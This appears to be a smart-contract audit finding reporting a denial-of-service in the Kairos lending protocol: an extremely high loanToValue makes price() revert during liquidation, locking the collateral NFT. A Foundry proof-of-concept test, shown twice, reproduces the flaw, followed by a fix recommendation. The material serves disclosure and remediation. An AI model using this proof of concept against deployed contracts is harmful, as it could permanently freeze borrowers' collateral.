Denial-of-Service in the liquidation flow results in the collateral NTF will be stuck in the contract.
If the `loanTovalue` value of the offer is extremely high, the liquidation flow will be reverted, causing the collateral NTF to persist in the contract forever.\\nThe platform allows users to sign offers and provide funds to those who need to borrow assets.\\nIn the first scenario, the lender provided an offer that the `loanTovalue` as high as the result of the `shareMatched` is `0`. For example, if the borrowed amount was `1e40` and the offer had a `loanTovalue` equal to `1e68`, the share would be `0`.\\nAs a result, an arithmetic error (Division or modulo by 0) will occur in the `price()` function at line 50 during the liquidation process.\\nIn the second scenario, if the lender's share exceeds `0`, but the offer's `loanToValue` is extremely high, the `price()` function at line 54 may encounter an arithmetic error(Arithmetic over/underflow) during the `estimatedValue` calculation.\\nPoof of Concept\\nkairos-contracts/test/BorrowBorrow.t.sol\\n```\\nfunction testBorrowOverflow() public {\\n    uint256 borrowAmount = 1e40;\\n    BorrowArg[] memory borrowArgs = new BorrowArg[](1);\\n    (, ,uint256 loanId , ) = kairos.getParameters();\\n    loanId += 1;\\n\\n    Offer memory offer = Offer({\\n            assetToLend: money,\\n            loanToValue: 1e61,\\n            duration: 1,\\n            expirationDate: block.timestamp + 2 hours,\\n            tranche: 0,\\n            collateral: getNft()\\n        });\\n    uint256 currentTokenId;\\n\\n    getFlooz(signer, money, getOfferArg(offer).amount);\\n\\n    {\\n        OfferArg[] memory offerArgs = new OfferArg[](1);\\n        currentTokenId = getJpeg(BORROWER, nft);\\n        offer.collateral.id = currentTokenId;\\n        offerArgs[0] = OfferArg({\\n            signature: getSignature(offer),\\n            amount: borrowAmount,\\n            offer: offer\\n        });\\n        borrowArgs[0] = BorrowArg({nft: NFToken({id: currentTokenId, implem: nft}), args: offerArgs});\\n    }\\n\\n    vm.prank(BORROWER);\\n    kairos.borrow(borrowArgs);\\n\\n    assertEq(nft.balanceOf(BORROWER), 0);\\n    assertEq(money.balanceOf(BORROWER), borrowAmount);\\n    assertEq(nft.balanceOf(address(kairos)), 1);\\n\\n    vm.warp(block.timestamp + 1);\\n    Loan memory loan = kairos.getLoan(loanId);\\n    console.log("price of loanId", kairos.price(loanId));\\n}\\n```\\n
We recommend adding the mechanism during the borrowing process to restrict the maximum `loanToValue` limit and ensure that the lender's share is always greater than zero. This will prevent arithmetic errors.
The loan position will not be liquidated, which will result in the collateral NTF being permanently frozen in the contract.
```\\nfunction testBorrowOverflow() public {\\n    uint256 borrowAmount = 1e40;\\n    BorrowArg[] memory borrowArgs = new BorrowArg[](1);\\n    (, ,uint256 loanId , ) = kairos.getParameters();\\n    loanId += 1;\\n\\n    Offer memory offer = Offer({\\n            assetToLend: money,\\n            loanToValue: 1e61,\\n            duration: 1,\\n            expirationDate: block.timestamp + 2 hours,\\n            tranche: 0,\\n            collateral: getNft()\\n        });\\n    uint256 currentTokenId;\\n\\n    getFlooz(signer, money, getOfferArg(offer).amount);\\n\\n    {\\n        OfferArg[] memory offerArgs = new OfferArg[](1);\\n        currentTokenId = getJpeg(BORROWER, nft);\\n        offer.collateral.id = currentTokenId;\\n        offerArgs[0] = OfferArg({\\n            signature: getSignature(offer),\\n            amount: borrowAmount,\\n            offer: offer\\n        });\\n        borrowArgs[0] = BorrowArg({nft: NFToken({id: currentTokenId, implem: nft}), args: offerArgs});\\n    }\\n\\n    vm.prank(BORROWER);\\n    kairos.borrow(borrowArgs);\\n\\n    assertEq(nft.balanceOf(BORROWER), 0);\\n    assertEq(money.balanceOf(BORROWER), borrowAmount);\\n    assertEq(nft.balanceOf(address(kairos)), 1);\\n\\n    vm.warp(block.timestamp + 1);\\n    Loan memory loan = kairos.getLoan(loanId);\\n    console.log("price of loanId", kairos.price(loanId));\\n}\\n```\\n